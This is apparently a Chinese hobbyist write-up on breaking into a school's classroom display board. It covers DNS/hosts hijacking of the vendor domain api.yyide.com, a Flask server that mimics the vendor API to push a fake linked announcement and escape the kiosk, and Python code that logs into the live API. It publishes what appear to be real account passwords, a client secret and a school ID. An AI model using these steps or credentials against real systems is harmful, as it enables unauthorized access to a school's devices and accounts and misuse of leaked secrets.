新班牌破解思路 - URL劫持
代码下载:APIsCode.zip
班牌使用Java 6 编写,在Android 7.1.2 上运行!
班牌公告Text渲染是靠安卓自带的WebViewer通过JavaScripts实现,通过样式我猜测可能是BBCode Markdown。
可以将班牌的网线插入教室内部电脑的Wlan Output口,将路由器网线插入电脑Wlan Input口;通过电脑路由班牌网络数据。
需要通过Clash软件的TUN模式创建虚拟网卡,然后在Clash内部设置规则,拦截 api.yyide.com。如下
rules:
- DOMAIN,api.yyide.com,DIRECT
- MATCH,DIRECT之后编辑 电脑hosts文件将 api.yyide.com 重定向到 127.0.0.1。如下:
# C:\Windows\System32\drivers\etc\hosts
127.0.0.1 api.yyide.com最后,伪造接口发送一个含链接的假公告,就可以访问网站了。可以通过网站拉取相机之类的应用实现退出班牌。
逆向出的核心接口如下:
任何有效操作均需要通过OAuth登录保存Session后执行。
基URL:
https://api.yyide.com兼善schoolId:
1959804909729640450
1. OAuth登录获取令牌
- 接口地址:
POST /auth/oauth/token - 用途: 通过OAuth协议进行登录,获取访问令牌(Access Token)。
- Content-Type:
application/json
请求参数
| 参数名 | 必填 | 示例值 | 说明 |
|---|---|---|---|
username | 是 | bp11813、bp11818 | 登录账号 |
password | 是 | 611288、224614 | 登录密码 |
client_id | 是 | yide-cloud | 客户端ID |
client_secret | 是 | yide1234567 | 应用凭证/密钥 |
grant_type | 是 | brand | 授权类型,固定填写 brand |
random | 是 | aB3kL9mZ... | 16位随机字符串,用于CDN刷新标识 |
返回值解析
{
"code": 0,
"data": {
"accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"expiresIn": 863999,
"refreshToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"tokenHead": "Bearer "
},
"detailMessage": "",
"message": "操作成功"
}| 字段路径 | 类型 | 说明 |
|---|---|---|
code | Integer | 状态码,0 表示请求成功 |
message | String | 响应消息描述,如 "操作成功" |
detailMessage | String | 详细错误信息,成功时通常为空字符串 |
data.accessToken | String | 访问令牌(JWT格式),用于后续API请求的身份鉴权 |
data.expiresIn | Integer | Access Token 有效期,单位:秒(示例值 863999 ≈ 10天) |
data.refreshToken | String | 刷新令牌,用于在 Access Token 过期后换取新的令牌 |
data.tokenHead | String | 令牌前缀,固定为 "Bearer ",拼接在 accessToken 前组成 Authorization 头 |
2. 获取公告消息分页列表
- 接口地址:
POST /brand/brand/mess/recive/page - 用途: 分页查询指定学校的公告消息列表。
- Content-Type:
application/json - 鉴权方式: Header 携带
Authorization: Bearer {accessToken}
| 参数名 | 必填 | 类型 | 示例值 | 说明 |
|---|---|---|---|---|
pageNo | 是 | Integer | 1 | 当前页码 |
pageSize | 是 | Integer | 20 | 每页条数 |
type | 是 | String | announcement | 消息类型,如 announcement |
searchKey | 否 | String | "" | 搜索关键词,为空则不筛选 |
startDate | 否 | Integer | "" | 时间戳开始日期 |
endDate | 否 | Integer | "" | 时间戳结束日期 |
返回值解析
{
"code": 0,
"data": {
"list": [
{
"id": "2094265167356387330",
"identityUserName": "马品",
"title": "重磅!重庆市青少年创新人才培养雏鹰计划(初中)第七期学员遴选通知",
"content": "<p>...</p>",
"timerDate": "2026-08-31 11:25:00",
"isTop": true
}
],
"total": 5,
"pageNo": 1,
"pageSize": 20
},
"message": "操作成功",
"detailMessage": null,
"success": true,
"error": false
}| 字段路径 | 类型 | 说明 |
|---|---|---|
code | Number | 状态码,0 表示请求成功 |
message | String | 响应消息描述,如 "操作成功" |
detailMessage | String/null | 详细错误信息,成功时通常为 null |
success | Boolean | 请求是否成功的布尔标识,true 表示成功 |
error | Boolean | 是否存在错误的布尔标识,false 表示无错误 |
data.list | Array | 文章/通知列表数据,包含多条记录对象 |
data.list[].id | String | 文章唯一标识ID |
data.list[].identityUserName | String | 发布者/操作人姓名 |
data.list[].coverImg | String | 封面图片URL,为空字符串表示无封面 |
data.list[].author | String | 文章作者,可能为空 |
data.list[].source | String | 文章来源,可能为空 |
data.list[].title | String | 文章标题 |
data.list[].content | String | 文章正文内容,通常为HTML格式字符串 |
data.list[].contentType | Integer | 内容类型标识,0 通常表示普通图文 |
data.list[].messType | Integer | 消息类型标识,1 通常表示通知公告类 |
data.list[].timerDate | String | 发布时间,格式为 YYYY-MM-DD HH:mm:ss |
data.list[].attachments | Array | 附件列表,空数组表示无附件 |
data.list[].isTop | Boolean | 是否置顶,true 表示该条内容被置顶显示 |
data.total | Integer | 符合条件的总记录数 |
data.pageNo | Integer | 当前页码,从 1 开始 |
data.pageSize | Integer | 每页返回的记录条数 |
全流程代码
import requests
import random
import string
import json
BASE_URL = "https://api.yyide.com"
USERNAME = "bp11813"
PASSWORD = "611288"
CLIENT_ID = "yide-cloud"
CLIENT_SECRET = "yide1234567"
GRANT_TYPE = "brand"
ANNOUNCE_API = "/brand/brand/mess/recive/page"
def oauth_login(base_url: str, username: str, password: str,
client_id: str, client_secret: str, grant_type: str) -> dict:
url = f"{base_url.rstrip('/')}/auth/oauth/token"
random_str = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
payload = {
"username": username,
"password": password,
"client_id": client_id,
"client_secret": client_secret,
"grant_type": grant_type,
"random": random_str
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url, data=payload, headers=headers, timeout=10)
response.raise_for_status()
return response.json()
def create_authenticated_session(token_info: dict) -> requests.Session:
session_ = requests.Session()
access_token = (
token_info.get("access_token") # 标准OAuth2
or token_info.get("data", {}).get("accessToken") # 当前API实际格式
)
if not access_token:
raise ValueError(f"登录响应中未找到 access_token,响应内容: {token_info}")
token_head = (
token_info.get("data", {}).get("tokenHead")
or "Bearer "
)
session_.headers.update({
"Content-Type": "application/json",
"Authorization": f"{token_head}{access_token}"
})
return session_
def fetch_announcement(session_: requests.Session, base_url: str, page_no: int = 1, page_size: int = 20) -> dict:
"""请求公告列表接口"""
url = f"{base_url.rstrip('/')}{ANNOUNCE_API}"
data = {
"pageNo": page_no,
"pageSize": page_size,
"type": "announcement",
"searchKey": "",
"startDate": "",
"endDate": "",
}
response = session_.post(url, json=data, timeout=10)
response.raise_for_status()
return response.json()
if __name__ == "__main__":
token_info = oauth_login(
base_url=BASE_URL,
username=USERNAME,
password=PASSWORD,
client_id=CLIENT_ID,
client_secret=CLIENT_SECRET,
grant_type=GRANT_TYPE
)
print(f"登录成功: {json.dumps(token_info, indent=4, ensure_ascii=False)}")
session = create_authenticated_session(token_info)
announcement_result = fetch_announcement(session, BASE_URL, page_no=1, page_size=20)
print(f"\n{'=' * 20}\n公告:\n", json.dumps(announcement_result, ensure_ascii=False, indent=4))劫持Python代码
import random
import string
import time
from functools import wraps
from flask import Flask, request, jsonify
app = Flask(__name__)
MOCK_USERS = {
"bp11813": {"password": "611288", "name": "马品"},
"bp11818": {"password": "224614", "name": "张三"}
}
MOCK_ANNOUNCEMENTS = [
{
"id": "2094265167356387330",
"identityUserName": "巧克力",
"coverImg": "",
"author": "",
"source": "",
"title": "假的公告信息 - 哔哩哔哩",
"content": "<a href='https://bilibili.com'>点击这个跳转哔哩哔哩</a>",
"contentType": 0,
"messType": 1,
"timerDate": "2026-08-31 11:25:00",
"attachments": [],
"isTop": True
}
]
def success_response(data=None, message="操作成功"):
return jsonify({
"code": 0, "data": data, "message": message,
"detailMessage": None, "success": True, "error": False
})
def error_response(message="操作失败", detail="", code=-1):
return jsonify({
"code": code, "data": None, "message": message,
"detailMessage": detail, "success": False, "error": True
}), 400
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return error_response("未提供有效的访问令牌", "Authorization header missing or invalid", 401)
token = auth_header[7:]
if len(token) < 10:
return error_response("访问令牌无效", "Invalid access token", 401)
return f(*args, **kwargs)
return decorated
@app.route("/auth/oauth/token", methods=["POST"])
def oauth_token():
content_type = request.content_type or ""
if "application/x-www-form-urlencoded" not in content_type:
return error_response(
"Content-Type 必须为 application/x-www-form-urlencoded",
f"Received: {content_type}"
)
username = request.form.get("username")
password = request.form.get("password")
client_id = request.form.get("client_id")
client_secret = request.form.get("client_secret")
grant_type = request.form.get("grant_type")
random_str = request.form.get("random")
missing = [k for k, v in {
"username": username, "password": password,
"client_id": client_id, "client_secret": client_secret,
"grant_type": grant_type, "random": random_str
}.items() if not v]
if missing:
return error_response(f"缺少必填参数: {', '.join(missing)}")
if grant_type != "brand":
return error_response("grant_type 必须为 'brand'")
if client_id != "yide-cloud" or client_secret != "yide1234567":
return error_response("client_id 或 client_secret 不正确")
if len(random_str) != 16:
return error_response("random 必须为16位随机字符串")
user = MOCK_USERS.get(username)
if not user or user["password"] != password:
return error_response("用户名或密码错误")
fake_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9." + \
''.join(random.choices(string.ascii_letters + string.digits, k=64)) + \
".mock_signature"
return success_response({
"accessToken": fake_jwt,
"expiresIn": 863999,
"refreshToken": "refresh_" + ''.join(random.choices(string.ascii_letters + string.digits, k=32)),
"tokenHead": "Bearer "
})
@app.route("/brand/brand/mess/recive/page", methods=["POST"])
@require_auth
def announcement_page():
body = request.get_json(silent=True)
if body is None:
return error_response("请求体必须为有效JSON")
page_no = body.get("pageNo", 1)
page_size = body.get("pageSize", 20)
msg_type = body.get("type", "")
search_key = body.get("searchKey", "")
start_date = body.get("startDate", "")
end_date = body.get("endDate", "")
if msg_type != "announcement":
return error_response("type 必须为 'announcement'")
if not isinstance(page_no, int) or page_no < 1:
return error_response("pageNo 必须为正整数")
if not isinstance(page_size, int) or page_size < 1:
return error_response("pageSize 必须为正整数")
filtered = list(MOCK_ANNOUNCEMENTS)
if search_key:
filtered = [a for a in filtered if search_key in a["title"] or search_key in a["content"]]
if start_date and isinstance(start_date, (int, float)):
start_ts = start_date / 1000
filtered = [a for a in filtered
if time.mktime(time.strptime(a["timerDate"], "%Y-%m-%d %H:%M:%S")) >= start_ts]
if end_date and isinstance(end_date, (int, float)):
end_ts = end_date / 1000
filtered = [a for a in filtered
if time.mktime(time.strptime(a["timerDate"], "%Y-%m-%d %H:%M:%S")) <= end_ts]
filtered.sort(key=lambda x: (not x["isTop"], x["timerDate"]), reverse=False)
total = len(filtered)
start_idx = (page_no - 1) * page_size
page_list = filtered[start_idx:start_idx + page_size]
return success_response({
"list": page_list,
"total": total,
"pageNo": page_no,
"pageSize": page_size
})
if __name__ == "__main__":
app.run(
host="127.0.0.1",
port=5000,
debug=True,
)
审稿(Reviewer):巧克力
编辑(Editor):巧克力
重整(Remerge):通义千问
技术合作(Tech-Cooper):S2Arp
编辑(Editor):巧克力
重整(Remerge):通义千问
技术合作(Tech-Cooper):S2Arp